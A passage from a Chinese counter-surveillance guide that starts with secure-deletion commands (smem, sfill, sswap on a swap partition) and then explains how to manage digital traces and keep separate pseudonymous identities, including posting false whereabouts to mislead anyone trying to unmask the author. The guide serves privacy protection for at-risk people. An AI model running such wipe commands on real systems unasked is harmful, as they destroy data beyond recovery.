smem（安全内存擦除）删除保留在内存中的残留数据。拥有合适工具的人可以相对轻松地找出存储在 RAM 中的内容，这可能是重要文件、互联网活动或其他任何与计算机有关的内容。smem 有点慢。有一些选项可以加快速度，但是会增加风险。

调用:

```
$ smem
```

sfill（安全可用空间擦除）擦除磁盘上存在过去文件的所有可用空间。如果您正在摆脱硬盘，这个会特别有用; 您可以启动 LiveCD，删除磁盘上的所有内容，然后使用 sfill 确保没有任何内容可以被恢复（以 root 身份）：

```
# sfill mountpoint/
```

注意：如果您在单独的分区上有/ home /并且尝试/ home / hilarious / wrong 作为 mountpoint，则 sfill 将很乐意擦除错误目录所在的可用空间 (the entire /home/ partition).

sswap（安全交换擦除）擦除交换分区。当 RAM 填满时，交换分区存储正在运行的程序的数据。

先找到它，运行

```
$ cat /proc/swaps
```

或者在/ etc / fstab 文件中查找 swap 类型的文件系统。它可以是/ dev / sda5 或 / dev / dm-1等。

禁用交换分区：

```
$ sudo swapoff /dev/sda6
```

擦除

```
$ sudo sswap /dev/sda6
```

重新启用:

```
$ sudo swapon /dev/sda6
```

bleachbit：

好啦。希望您的大扫除足够愉快！○

原文

AS17 分身术完整指南：妥善管理您的在线身份并获得安全的方法 - iyouport

护盾（AS）

【2019年7月26日存档】今天的主题是数字阴影，尤其是避免的方式（零基础版）。希望这些内容能给您带来帮助--对于所有人，只要您在互联网上，而不仅仅是敏感人士--关于什么是数据？什么是数字阴影？如何避免被追踪迫害？如何变成另一个人？尤其是如何*分裂*为多个不同的人？

互联网是探索、学习、说话、倾听和与世界各地人们交流的绝佳场所。不幸的是，互联网也成为一个挑战主流语话的独立思考者经常发现自己受到攻击的空间。这些攻击可能非常个人化、具有强烈的针对性—— 因为互联网上经常会有很多关于我们的个人信息。

为了加强你对这些攻击的防御，从评估自己的数字阴影开始是个好主意。这些阴影—— 可以讲述一个关于我们的故事：我们是谁、我们生活和闲逛的地方、我们感兴趣的东西，以及我们的朋友和同事都是谁。这可能会让我们面临几种威胁。特别是，你留下的公开可用数字足迹会导致你面临各种骚扰和操纵。

不过，你还可以使用许多策略和工具来塑造或控制自己的数字阴影，增加自己的隐私，并最终在线和离线时更加安全—— 并不会减少您的声音或在线活动。

这些例子包括通过有意识地从内容和元数据中剥离有价值的信息来控制自己被暴露的数据量；尝试自‘我毁灭“的艺术；并思考如何操弄和拆散自己的在线身份。

> 尤其是中国读者。如果您关心如何抵制社会信用评分的危害 ——这篇文章中介绍的内容就是您唯一能做的事。

数字阴影都是什么？——

「图」

数字阴影可以定义为数据说出的关于你的故事。这些数字阴影是由数万亿比特的数据创建的，当我们连接到互联网时，每天都会留下数字痕迹。你的数字阴影拥有自己的生命，受到他人的影响，并以不可预测的方式发生变化。这些痕迹是我们过去和现在活动的幽灵，它们以永久的和不断变化的形象融合在一起。

这些万亿比特的数据是如何创建的？我们用于浏览互联网、访问网站、连接到 Facebook 和 Twitter 等社交网络平台、发布博客帖子、接听电话、发送短信或电子邮件、使用聊天或在线购物的设备和软件，都创建了特定的位关于我们的数据。

这些数据可以包括我们的名字、位置、联系人、图片、消息、推文和点赞，还包括我们的计算机品牌、打电话时间和访问的网站的信息。这些数据痕迹可以由我们自己和其他人一起提供。

如何共享数据？在某些情况下，人们会积极分享数据—— 例如，当我们在 Facebook 上分享照片、在线预订机票或发帖子时。其他人也可以通过在图片中标记我们、在推文中提及我们、或仅仅通过与我们沟通来积极地分享关于我们的数据。

在其他情况下，我们每个人都在不知不觉中提供了大量的数据，而没有考虑是否“同意”。当你通过“cookies”和其他在后台活动的跟踪技术访问网站时，你的浏览习惯和IP地址是共享的。这些技术就嵌入在我们访问的网站中，并且从网站分析到广告，被收集的共享信息可用于广泛的目的。

手机应用程序也在你不知情或未经同意的情况下收集数据—— 例如，我们拍摄的照片通常会在其中嵌入位置数据。当从一种服务转移到另一种服务时，这些跟踪技术使 Web 服务能够识别和关注你。

什么是数据？数据可以分为三个部分：内容、元数据和噪音。

- 内容是我们的消息、博客、推文和电话的内容，包括照片和视频。元数据是关于数据的数据，是技术基础设施工作所需的信息。
- 元数据使我们的电子邮件能够交付，帮助在我们的计算机上查找文件并允许移动通信。元数据可以是我们的电子邮件地址，

电话号码，位置，发送或存储消息的时间和日期。
- 噪声是由制造过程或基础设施的工作所产生的数据。例如，每台相机都有一张SD卡来记录和存储图片。每张SD卡都有独特的划痕，这些划痕是由生产SD卡的机器创建的。这些划痕会对眼睛看不到但可被计算机识别的数据进行微小的更改。

谁在收集我们的数据，为什么？——

数据收集和数据分析已变得非常复杂。您遗漏的数据痕迹将由各方收集、分析和分类，以创建数字阴影或配置文件。每次收集新数据时，都可以识别并添加到您的个人资料中。这些配置文件不断扩展，为创建它们或有权访问它们的人提供了对您本人的真实洞察力。

公司、政府和个人为各种目的收集这些数据。它可以买卖；可以用来操纵和控制；或者可以用来制定骚扰策略。

数字阴影或配置文件可用于深入了解我们是谁、我们做什么、以及我们去过哪里。然后，可以使用这些数据来预测我们可能会做什么或将来可能会去哪里。例如，如果有人知道我们是x国家中关于性别问题的直言不讳的博主，他们就会知道我们可能会参加一个关于该国博客和女权主义的会议。配置文件还可以使潜在的骚扰者能够在不同平台上骚扰我们。

任何人都有可能访问你的数字阴影—— 包括通信服务提供商、执法机构和商业公司，以及运行自己的服务器的团体和个人。我们无法准确知道自己的数字阴影究竟发生了什么，而这本身就是一个问题。

但是，我们可以使用工具和策略来管理数字阴影、并限制其在剖析和监视方面的影响。后面就是用来讨论这一问题的。

——探索你自己的数字阴影——

「图」

正如之前提到的，任何人都可以访问你的数字阴影—— 包括通信服务提供商、执法机构和公司，以及运行自己的服务器的团体和个人。那么怎么办？建议从下面开始：

- 使用 Trace My Shadow 探索自己的个人数字阴影—https://myshadow.org/trace-my-shadow—这是由 Tactical Tech 推出的工具；

- 通过安装名为 openpaths.cc 的工具来检查手机。一些应用可以看到相同的东西。请仔细阅读服务条款，并了解您是否可以更改手机中的访问权限设置。在 iPhone 上，可以在其隐私设置下更改每个应用的权限。更多详见《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 》

控制您共享的内容和元数据——

好消息是我们可以部分控制我们提供的内容和元数据。

当在网络上发布内容之前，最好自问一下，你发布的内容是公开的还是个人的，以及谁可以访问它。即使这些信息与公共活动有关而不是与我们的个人生活有关，提到的名字或上传的图片也可能会让人联想到我们是谁、我们在做什么、在哪里做等等。希望定位你的人就可以使用它。

这并不意味着你应该保持沉默—— 只需采取一些基本措施，你可以通过提高攻击难度来减弱风险：

- 在必需分享有关自己生活的个人详细信息时，务必设置为仅仅所选的联系人可访问私人资料。在商业社交媒体上使用私人资料时，应该了解该平台隐私政策的定期更改，这可能会影响我们的个人资料的“私密性”。
- 在网上和公共可访问的社交网络资料上撰写或发布有关公共活动的图像时，应该首先问自己，你传播的有关单个人、地点和其他细节的信息是否可用于识别和/或攻击某人。或者只在公共活动结束后才公布有关公共活动的信息。
- 可以使用名为 ObscuraCam 的工具匿名化图片中的面部，ObscuraCam 是 Android 设备的免费相机应用程序。 https://guardianproject.info/apps/obscuracam
- 在向**Web**服务提供个人信息时，最好使用 HTTPS 以使通信通道安全。
- 使用强密码，并为您使用的每个 Web 服务使用不同的密码——如果您为多个服务使用相同的密码，并且有人拦截了其中一个服务的密码，就可以使用它来访问您的其他帐户。
- 注册 Microsoft Office，Libre Office，Adobe Acrobat 等设备或软件时，不要使用真实姓名有助于防止在使用此设备或软件时创建的元数据与您的身份连接。您也可以关闭手机或相机中的**GPS**追踪器。
- 某些文件类型包含的元数据多于其他文件类型，因此在线发布内容时，您可以将文件从包含大量元数据的文件格式（例

如.doc和.jpeg）更改为不包含元数据的文件格式（例如.txt和.png），或者我们可以使用纯文本。

- 使用 Metanull for Windows 从图像文件中删除元数据：https://securityinabox.org/en/lgbti-africa/metanull/windows
- 编辑或删除 **PDF** 文件中的隐藏数据，Windows 或 MAC OS 用户可以使用 Adobe Acrobat XI Pro 等程序（可以使用试用版）。 GNU / Linux 用户可以使用 PDF MOD，这是一个免费的开源工具。但是，它不会删除创建或修改时间戳，也不会删除有关用于创建 PDF 的设备类型的信息。
- 有关从不同文件格式中删除元数据的更多信息，请参阅我们上一次同栏目中的介绍《大清洗：反侦察的第一步》
- 您可以通过安装 Privacy Badger 或 Adblock Plus 等附加组件，以及监控自己的隐私设置、定期删除 **Cookie** 来阻止通过浏览器的跟踪和收集元数据。
- 使用 **Tor** 将隐藏特定的元数据，如我们的 IP 地址，从而增加在线匿名性。

——社交领域——

「图」

正如安全专家 Bruce Schneier 所解释的那样，“安全是一个链条，任何一个薄弱的环节都可以打破整个系统”。

我们每个人都属于多个社交领域—— 我们的工作或倡导网络，我们的家庭网络，朋友和团队。其中一些网络可能需要比其他网络更多的安全。

例如，我们可能倾向于为我们的工作或倡导活动提供更安全的沟通实践，但在社交网络上与朋友交互的安全性就会相对较低。这些领域相交可能会对我们的安全构成威胁。

如果你在所有领域中使用单一身份，则可以更轻松地收集到有关你的一切信息并识别出你的漏洞。

例如，如果你在社交网络中透露自己喜欢某种特定类型的游戏，并且使用了像 Emule 这样的 p2p 程序下载文件，那么想要调查你的工作或倡导活动的攻击者，就可能会通过欺骗你下载游戏而令你感染间谍软件。这是所有社交工程伎俩中最最简单的一种。也是为什么说很多失败都源于你说得太多了。

这个攻击者对你的倡导活动和政治立场很感兴趣，但他知道你在这部分生活中增加了隐私和安全措施。同时攻击者也知道你对游戏的热爱（或任何一种偏好都一样）是数字弱点，因为这个网络没有加密。因此，攻击者就可以利用你生活中无法加密的这一部分来获得入侵其他加密部分的入口。

很简单，这就是因为你的工作—敏感部分 和 生活—不敏感部分，没能彻底分开的原因；也是为什么要一直强调分离你的社交领域，为不同领域选取完全不同的身份—— 彼此之间不要发生任何联系。这就是身份管理。详细内容请参见《抗议须知》和《角色扮演》

——自我人肉——

「图」

几乎所有人都知道人肉搜索是什么意思。Doxing（也称为“doxxing”或“D0xing”）描述了使用互联网上免费提供的来源追踪或收集有关某人的信息的方法。此方法的成功取决于攻击者识别有关其目标的有价值信息的能力，并将此信息用于他们自己的恶意目的。

Doxing 的前提是“你越了解你的目标，就越容易找到他或她的缺陷”。反过来看，对你来说就是：最了解的你的人是最危险的人。你应该努力让仅仅经过验证的极少部分亲密人了解你，并且你选择的对方必须是和你具有同样高层次的保护意识的个人。

就如 IYP 在社交工程演示中所强调的那样，骚扰者和潜行者会使用多种工具和技术来收集有关其目标的信息，但由于这些工具和技术大多是公开的且易于使用的，你也可以自己使用它们。参见《侦查和欺骗：这里是社交工程攻击必备的技术工具》《信息收集：决胜的根基 》

很有必要推荐这一工作，因为你很可能完全不知道自己在他人眼中是什么样，尤其是不知道自己在监视者和所有恶意行为者眼中是什么样。“自我人肉”工作就是让你看清自己的必要工作—— 它可以帮助你就在线共享内容和方式做出明智的决定。

当然，这项工作也可用于识别他人，在你决定给予对方*完全信任*的权限之前，上述相同的工具可以帮助你判断是否值得给出这样的信任。

用于 doxing 的方法包括浏览档案、黄页、电话簿、和其他公开信

息；查询 Google 或 DuckDuckGo 等常用搜索引擎；在特定服务中寻找一个人的个人资料；在公共论坛和邮件列表中搜索信息；或寻找目标已共享的图像（例如，可能还发布在另一个更个人的帐户中）；也可以简单地通过“whois搜索”查找网站所有者的公共信息。

您自己就可以使用这些相同的工具来探索其他人可以轻松找到的关于你的信息。

在开始探索这些 Web 服务并寻找你的数字自我之前，一个好主意是使用像 Torbrowser 这样的匿名工具。

我们将在本栏目的下一篇文章中介绍更多自我人肉工具和技巧。

——删除你的过去，创建新身份——

「图」

“一旦有什么东西在互联网上，它将保留在互联网上，因为互联网不会忘记”。这句话如今已经家喻户晓。

你可能认为从社交网络和 Web 服务中删除某些敏感数据可能足以保护自己，但你不能轻易删除元数据。在我们的整个生活中—— 在我们所有的工作和个人领域—— 如果只使用一个身份—— 就已经创建了大量可用于描述或攻击我们的信息。

要避免这种情况的一个选择是：留下旧身份，并创建一个或多个新身份—— 给每个社交域一个完全不同的身份角色。你也可能选择在其中某些领域使用自己的真实身份，在其他领域使用创建的新替代身份。

我们在《抗议须知》和《角色扮演》中已经介绍了一些基本方法。

以下是当你开始做这件事时的基本注意事项：

- 当你开始创建新身份时，应该仔细选择每个身份的联系人，并避免与你用于不同活动的其他身份共享联系人。这样才能有效地创建单独的社交域，包括单独的帐户、邮件地址、浏览器配置文件、应用程序，甚至可能是设备。
- 重要的是：要确保你持有的各种身份不以任何方式相互关联、更不能与你的真实身份相关联。请记住，其中一些相关性可能很脆弱而你没有发现：例如，你是否使用真实的电话号码注册

了一个新的假名 Gmail 帐户？这是在自己挖坑。
- 将你的每个额外身份视为潜在的一次性身份可能很有用，因为如果它们受到了损害，你就可以很容易地丢弃它们。
- 在适当的情况下，可以为新认识的熟人创建关于你的一次性身份—— 你可以使用介绍性配置文件在将其包含在更受信任的网络中之前，了解某人。

别急，后面还有更多具体介绍。

——删除身份——

「图」

如果你决定通过创建多个身份来区分自己的不同领域，那么你应该做出的第一个决定就是删除或保留你已经拥有的身份或特性。

要做到这一点，就必须从调查你的现有身份或特性的痕迹开始。也就是上面介绍的自我人肉。

以下是在你在删除的时候需要知道的：

- 自杀机器（http://suicidemachine.org/）是一个便于删除社交网络配置文件的工具。自杀机器已经被迫停止删除 Facebook 帐户，但有关如何执行此操作的说明如下：https://www.facebook.com/help/224562897555674
- AccountKiller（https://www.accountkiller.com）提供了有关如何删除大多数热门网站上的帐户或公开个人资料的说明。
- JustDelete Me（http://justdelete.me）是一个直接链接目录，用于从Web服务中删除帐户。

——映射你的社交域——

「图」

为了区分你自己的不同社交域，就要首先将它们映射出来，并确定哪些可能使你最容易受到跨域攻击，这是很有帮助的。

你可以通过考虑自己不同的活动和网络来做到这一点，并反映每个活动和网络的敏感程度。这将使你能够更好地区分敏感域和非敏感域。

将一个人的数字生活划分为单独的普通社交域（或“机密安全”域）需

要一些思考。

波兰计算机安全研究员 Joanna Rutkowska 就此进行了广泛的工作，是她开发的基于“隔离安全”概念（Qubes OS）的 Linux 发行版。

在此系统中，每个社交域都在一个单独的虚拟机中隔离。虽然 Rutkowska 的计划非常复杂并且专注于她的操作系统，但它可以为我们提供有关如何开始考虑分离不同域的有趣见解。

Rutkowska 为自己确定的三个基本领域是：“工作”，“个人”和“红色”（也就是不受信任的、不安全的区域）。

- 工作域包括她的工作电子邮件，在那里她保留她的工作 PGP 密钥，在那里她准备报告、幻灯片、论文等。她还有一个不太受信任的“work-pub”域，比如接受 LinkedIn 邀请或下载她的演示文稿的图片。为了增强这一点，她有一个“工作管理员”和一个“工作博客”域，以便进一步提高管理公司服务器的安全性并在她的博客上写作。
- 个人域包括所有与工作无关的内容—— 例如个人电子邮件和日历、假日照片、视频等。她为此增加了一个名为“非常个人化”的特殊区域，当她离家时，就用这个域与她的伴侣进行交流。这对夫妇使用加密邮件进行通信，为此目的，她有单独的PGP密钥。
- 红色域完全不受信任。这是她的一次性身份或简介所属的地方。Rutkowska 使用此域来执行不适合其他域的所有内容，并且不提供任何敏感信息。
- 除了这三个主要领域外，Rutkowska 还有其他几个独立的域。一个致力于购物，用于访问电子商务网站；定义此域的是访问她的信用卡号码和她的个人地址（用于运送）。然后是保险库域，她最终信任的地方，她生成并保留所有密码（使用 KeePassX）和主 GPG 密钥。最后，她拥有一个独立域为所有 Qubes development（“qubes-dev”）。

当然，你可能不必以如此复杂的方式分离自己的域，并且使用 Qubes Os 将它们分开只是一个解决方案—— 而且需要一个强大的机器来运行。

然而，**Rutkowska** 对域映射的思考方式完全可以成为分析我们自己的活动的启发性起点，并将我们的社交域分割开以增强安全性。

下图显示了不同域之间的数据流动：

你可以看到很多数据流都是从更受信任的域到不太受信任的域——例如，复制和粘贴在工作域中通过电子邮件收到的 URL ，以便可以在不受信任的红色中打开它，或者将通过电子邮件收到的发票从工作域发送到会计域。

但遗憾的是，还有一些数据流从不太受信任的域转移到更受信任的域。一个例子是复制和粘贴一个有趣的 URL，是刚刚在红色域中浏览时偶然发现的，你想与工作域中的同事或朋友分享，所以你需要将其复制并粘贴到工作（同事）或个人（朋友）域的电子邮件中。

现在，将数据从不太受信任的域复制到更受信任的域，是一个重大问题。虽然人们可以认为将 URL 粘贴到 Thunderbird 电子邮件编辑器是一个无害的操作，但它仍然是一个不受信任的输入 ；将更酷的图形文件从 Web 复制到工作域中的例子可能更可怕，只是为了在演示幻灯片中使用，通过恶意 JPEG 或其他图形格式发起的攻击，以及利用渲染代码中的漏洞已经存在有十多年了。

但是不幸的是，这个问题—— 如何处理从不太受信任的系统到更可信赖的系统的数据流—— 在实践中不容易解决。

不过，设计和构建供军方和政府使用的高安全性系统的一些人采取了一种相反的方式—— 他们说他们并不关心信任度较低的域向信任度较高的域的数据传输，只要他们能确保没有办法以相反的方向进行转移就行了。

因此，如果我们可以构建一个系统来保证更可靠的域永远不会将数据传输到不太受信任的域（即使这两个域都被泄露了！），那么他们很乐意允许单向“向上传输”。在实践中，这意味着我们需要消除两个合作域之间的所有隐蔽通道。合作这个词在这里是一个关键词，这使得整个想法根本不实用，恕我直言。

在该方案中确实需要消除合作域之间的隐蔽信道，因为假设来自较不可信域的数据传输确实可能危及更可信的域。

但至少，这不应该导致任何数据泄漏回原始域，不太受信任的域可能与之相联。这里的假设之一是这种系统的用户连接到多个孤立的网络。即使在那种情况下，消除域之间的所有隐蔽通道也是一个巨大的挑战，可能只有在我们准备好大大牺牲系统性能时才能完成。

可以肯定的是，不可能在不久的将来消除 Qubes 域之间的合作隐蔽通道。我只是不相信这种方法，也不喜欢这种方法无法保护更受信任的

域的完整性—它只关注隔离方面。因此，攻击者可能无法将秘密泄露回较不受信任的域，但他或她可以在此更受信任的域中执行其他操作。如果我们不保持诚信，隔离有什么用呢？

这种传输的替代解决方案是拥有可以处理特定文件类型（如 JPEG）的可信“转换器”或“验证器”，并确保我们在目标域中获得非恶意文件。虽然这可能会让你想到旧的 A／V 技术，但它有所不同。

在这里，可信转换器可能是一些用安全语言编写的程序，运行在另一个受信任的域中，而不是一个丑陋的 A／V，其中包含一个巨大的数据库，包含可能出现在 JPEG 文件中的“坏”模式的签名。

这种方法的明显问题是有人必须编写这些转换器，并为我们希望允许转移到更可信域的所有文件类型编写。目前暂时忽略这个问题。或者说，根据使用者的个人风险评估（威胁模型）来决定该怎么做。

——评估风险和潜力：如何选择适合我们目的的在线身份——

「图」

“真实”还是虚拟身份？——

一旦确定了不同的社交域以及与之相关的数字活动和联系人，你需要做的是决定是否要相应地区分自己的身份，或者是否愿意坚持自己的正式身份和真实面貌对他们每个人。

你可能希望将自己的工作与法律层面上的“真实”身份联系起来，或者认为行动主义应该是匿名的，这些是需要仔细考虑和衡量的决定。

例如，一名记者发现使用真实身份进行写作比较方便，那么就可能决定通过昵称与自己的个人域保持联系。另一方面，如果活动家一直在被政府追踪，决定使用化名进行在线活动，那么就应该考虑自己将在现实世界中所有相关活动中展示的身份，例如在会议上发言或参加示威游行。因此，她的在线笔名将与她的脸相关联；但她的脸也可能与她在社交网络上的真实姓名有关联，她的在线活动家身份也就被揭露了。

在评估在给定环境中使用哪种身份时，问自己以下这些问题会很有帮助：

- 如果我的真实身份在这种背景下被人知道，我的工作、生计或安全是否会受到威胁？
- 如果我被人知道参与了X活动，我的心理健康或稳定会受到影响吗？
- 如果我的真实身份在这种情况下被人知晓，我的家人或其他亲人是否会受到任何伤害？
- 我能够并且愿意安全地保持各领域不同的单独身份吗？

一旦我们评估了风险，就可以考虑在线分离自己的身份的不同策略。评估风险很简单，需要问自己：我要防御的人是谁？他们有什么技术能力？我最脆弱的地方在哪？我愿意为保护自己的资产和人身安全付出多少努力？

——在线分离身份的策略——

「图」

维护单独身份的策略范围可以从完全透明到完全匿名，不同等级。

作者 Kate Harding 谈到她决定以她的真实姓名开始写作，驳回了博主们通常会采取的建议，例如“以化名写作，如果你是一位女士，那就采用男性化或中性化”的博客……掩盖一个人的个人信息，谨慎地发布可识别性细节，不要写任何可能激怒疯子的东西“……

Harding 说，骚扰问题应该由包括男性在内的整个社会来处理，而不是让女性负责。这就好像部分中国的异议人士所说的：“政府不应该监视和骚扰我，而不是我应该为避免骚扰做什么”。这显然是不可能的。好在 Harding 也承认，实名的决定是非常危险的。

因此，我们有几种选择：可以尝试匿名在线参与，可以使用“持久假名”。或者只在有些时候使用真名，并在其他时间使用假名。以下将谈论每种方式的优缺点，以便您可以选择合适自己的方法。

匿名——

完全匿名既可以是孤立的，也可能是较难维护的，但是在我们不需要获得其他人更多的信任时、当我们可以信任的人很少甚至完全没有时，或者我们不希望自己暴露给其他人的情况下，它非常有用。

在某些特定情况下，匿名可能是一个不错的选择，例如研究或参与有关健康问题的留言板，或者在共享任何一种敏感信息时，尤其是政

治。我们可能希望使用假名设置一次性帐户来评论博客或新闻网站，或者一次性电子邮件帐户或聊天会话以与他人讨论敏感信息。

不愿透露姓名的人权活动家写道：“我是一名普通的社交网络用户。我就一系列主题发表意见。我谈论的话题并不需要我暴露面孔和名字“。

匿名与“持久假名”并不同。当我们采用匿名作为策略时可能会使用假名，但这些假名不会在不同的网络或社交域中被使用，有些只能使用一次然后丢弃。

持久的假名——

持久性假名涉及在一段时间内持续使用假名。

牛津英语词典将化名定义为“虚构的名称，尤其是作者使用的名称”。在互联网时代，假名也可以被称为“昵称”或“称号”，尽管后者也可以与个人的合法身份产生关联。

Jillian C. York 在电子前沿基金会的博客文章中写道：“为什么个人可能希望使用他们出生时的名字以外的其他名字有很多原因。可能是担心对他们的生活或生计的威胁，或者可能冒着政治或经济报复的风险。可能希望防止歧视，或者可能会使用在特定文化中更容易发音或拼写的名称。“

假名可以是人名形式的（例如，“Jane Doe”）也可以不是。在撰写本文时，某些网站（包括 Facebook）要求用户使用其“真实身份”，这通常意味着使用您的法定名称或您熟悉的名称。该政策的推出令一些用户的账户被封锁。如果我们选择在社交网络上使用假名，重要的是要了解这样做的风险：避免这种情况的策略是使用看起来像真人名字的假名。

不必担心，持久性假名也可以提供可见性。可见性使我们能够与他人建立联系，通过将我们的声音固定到特定名称上，同样可以建立在线声誉。在线声誉允许其他人决定我们是否值得信任，因此是基于信任的在线社区的关键方面。

当然你也可以通过始终使用与自己的合法身份相关联的昵称或假名来开发声誉。但要知道，将在线声誉与“真实”名称联系起来的选择应根据需要和具体背景酌情而定。

为了不同的目的，也可以保留多个假名、和多个领域的声誉。

集体身份——

另一种匿名方式是通过集体参与。这可能意味着许多事，从发布集体声明的私人团体或邮件列表、到共享的 Twitter 帐户。就如 IYP，我们并不是一个人，但我们所有人都称为 IYP。

虽然同样的安全问题在这里也适用，但在集体身份背后工作意味着你拥有人群的力量，如果您不想透露自己的身份，这可能是一个不错的选择。

比较策略——

无论我们做出什么样的选择，重要的是我们保持自己的不同空间域有效分离。

无论你在数字生活中存在多少不同的领域、以及创造了多少相应的身份，在互联网上，每个身份—— 即使是带有真实姓名的身份—— 都会变成“虚拟”角色，应该谨慎管理它们每一个。

各种身份选择的利弊：

「图」

——创建新的在线身份——

「图」

1、起个名字

起名因文化而异。虽然名称以某种形式可以存在于不同的文化之间，但是“法定名称”的概念是一个相当新的概念。

不同的国家以不同的方式规范命名的做法。例如，在摩洛哥，名字必须从政府批准的名单中选择，而在德国，名字必须明确反映婴儿的性别。

在互联网上，具有“实名”政策的平台倾向于据此判断基于个人的法定名称，而不是允许他们根据自己的选择进行识别。这可能是有问题的，不仅对于试图保持匿名的个人来说，而且对于变性个人、具有别名的个人和其他人来说都很麻烦。

由于这些限制，在选择假名时选择那些看起来像真人的名字可能是有

益的。尤其是使用商业社交网络时，最好使用可靠的名和姓，而不是更富有想象力的名和姓。

一旦决定了虚拟角色的名字、姓氏和用户名，就应该进行彻底的研究——也许还要使用自我 doxing 的工具和技术（参见前面）—找出其他人是否已经在使用该名称。毕竟，如果我们希望发展自己的声誉，不希望与别人混淆，特别是如果他们不同意我们对世界的看法的话。

2、写自己的故事

“故事讲述”（以及为此创建社交面具）的做法是很有传统的，并且创建一个带有故事的新角色使得维护角色变得容易得多。

重点是，当我们创造一个身份时，应该设想一个完整的虚拟角色，一个需要培养和发展的化身，才能变得可信。

关于创建故事的具体技巧请详见 《抗议须知》和《角色扮演》

3、创建在线资料

一旦创建了几个角色，重要的是让它们将你的现实生活和数字生活中分开。虽然记录身份可能有助于确保你记住自己的故事，但也可以采取技术措施来确保我们的个人资料保持独立。

一个好的开始是为自己的每个身份创建不同的浏览器配置文件、邮箱和社交网络帐户。一个好的经验法则是始终为每个帐户/身份使用不同的应用程序，如果可能的话，为每个身份分配不同的设备或操作系统。

4、创建单独的浏览器配置文件和邮箱

浏览器配置文件：使用 Firefox 创建多个配置文件：https://developer.mozilla.org/en-US/docs/Mozilla/Multiple_Firefox_Profiles

邮箱：创建新邮箱时，最好使用 Torbrowser 连接到服务器的网站，如果需要联系电子邮件地址，请考虑使用一次性电子邮件地址。具体工具详见 《抗议须知》和《角色扮演》。

5、在社交网络上管理身份

建议始终使用安全的 HTTPS 连接。

– 在社交网络平台上为新角色创建帐户时，请使用您为该角色创建的浏览器配置文件。务必检查隐私设置，以便了解您公开了什么、谁可以查看您发布的内容、谁可以与您联系、谁可以查找您、以及您的联系人可以做什么（他们可以在图片中标记您吗？等等）

– 同时要非常小心您提供的个人资料信息，以及您使用的个人资料照片和封面照片，因为无论隐私设置如何，这些信息通常都会公开给在该社交网络中查找你的任何人。IYP 的社交工程演示中曾多次使用过头像和封面照片作为线索。

– 确保您的虚假身份联系人不与其他身份重叠，并确保您的不同身份间不会彼此关注。切勿使用您的真实身份账户关注您的假名账户。如果有人想要揭开这些人物角色中的一个角色的真实身份，他们首先要寻找的就是该帐户所关注的人以及谁关注该帐户。出于同样的原因，我们应该避免将一个帐户发布的帖子或其他内容在另一个帐户重新发布，更不要互相转发。

– 大多数社交网络平台都会尽可能地显示您的位置。当你使用支持GPS的手机与平台进行交互时，通常会提供此功能，但如果你从其他设备连接也会发生这种情况—— 例如，计算机所连接的网络也可能提供位置数据。请仔细检查您的设置—— 特别是在照片和视频共享网站上。

– 照片和视频也可以在您没有意识到的情况下显示大量信息。许多相机会将元数据嵌入到您的照片中，其中可能包括照片的日期、时间和位置、相机类型等。当我们将内容上传到他们的网站时，这些信息就会被暴露。

– 如果通过移动应用程序访问社交网络平台，最好为每个单独的帐户使用不同的应用程序，以免错误地将内容发布到错误的帐户。有几个应用程序可用于管理您的社交网络平台—但是，为每个身份使用不同的应用程序始终是一个好主意，以降低泄露您的真实身份的风险。

– 在一天中的不同时间使用您的不同身份发布。一些社交网络平台，如 Facebook，允许用户安排帖子的发布时间。Postcron（https://postcron.com）也可以帮助您在 Twitter 和其他平台上安排定时发布帖子。

– 为了进一步将你的真实身份与你的假名身份保持距离，你还可以在假名配置文件中写下（并在 Twitter 上发布相关主题标签）关于你从来没有参加过的事，特别是如果这些事发生在远离你所在地的地方。

发布它们然后删除那些看似已经暴露了“真实身份”的帖子，也会很有趣，这样可能会让任何试图揭露你真身的人感到困惑。

– 无论决定使用哪种社交网络平台，您都应该仔细阅读其服务条款，以检查它们是否适合您的目的。

6、另类社交网络

如果你的目标是尽可能广泛地宣传自己正在组织的活动或正在推出的项目，那么主流商业社交网络平台（如 Facebook 或 Twitter）有可能比较有用。

但是，如果您正在使用其中一个主流平台，请务必注意：

- 这些平台有非常严格的审查条款，如果他们发现你的内容“违反”了他们的规则，他们可以随意封锁你的帐户；
- 它们会对用户进行概要分析，并将信息出售给广告商。这使得很难清楚地了解你的数据实际发生了什么，最好的解决方案是将商业社交网络平台的使用限制为特定的、仅希望向广大受众宣传的内容。也就是，此外别的话不要说。

当然，你还有其他可用的选择—— 为用户提供更多自由的平台。

- Ello 在其宣言中明确指出“你不是产品”。它也不需要你的“真实姓名”—— 在商业社交网络中很少见。然而，重要的是要注意 Ello 仍然是一个商业项目。
- 基于免费开源软件以及对隐私友好的分布式而非集中式的替代方案，是更重要的。其中，Diaspora（https://joindiaspora.com），Friendica（https://friendi.ca）和 Crabgrass（https://we.riseup.net）特别值得一提。
- 还有其他类似的网站可能在不同的地区很受欢迎，所以希望您探索其他选择。

在选择使用社交网络平台之前，你应该问以下问题：

- 它是否为网站的所有用途提供了基于 SSL（如 HTTPS）的连接，而不仅仅是在登录期间？是否存在与加密相关的问题（例如与加密证书相关）？
- 根据平台的最终用户许可协议、隐私政策和/或数据使用政策，您的内容和个人数据将被如何处理？与谁分享？
- 为用户提供了哪些隐私选项？例如，我们可以选择仅与少数人

安全地分享视频吗，还是默认情况下都是公开的？
- 服务器的地理位置是否已知？属于哪个属地管辖权？公司在哪里注册？这些信息如何与我们的活动和信息的隐私和安全相关？

更多详见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

7、创建博客或网站

你可能需要一个更独立的平台来传播想法、计划或创作。为此，可以创建一个网站或博客。

- 创建博客就像注册博客平台并选择名称和“主题”或可视化模板一样简单。有几个博客平台既方便用户又免费，包括开源 WordPress（WordPress.com）。
- 另外面向安全的平台还有：**Noblogs** (http://noblogs.org/ http://noblogs.org) and Nadir’s **BlackBlogs**—(http://blackblogs.org/http://blackblogs.org). 要在这些平台中的任何一个上创建博客，只需在服务器上托管电子邮件帐户即可。
- 如果想要复杂的图形布局、或需要安装 WordPress 及其插件不提供的特定工具，可以创建自己的网站。A / I 是个选择，默认情况下不会将其服务的用户与真实身份相关联。要了解有关 Autistici / Inventati 的虚拟主机服务的更多信息，请访问：https://www.autistici.org/en/services/website.html
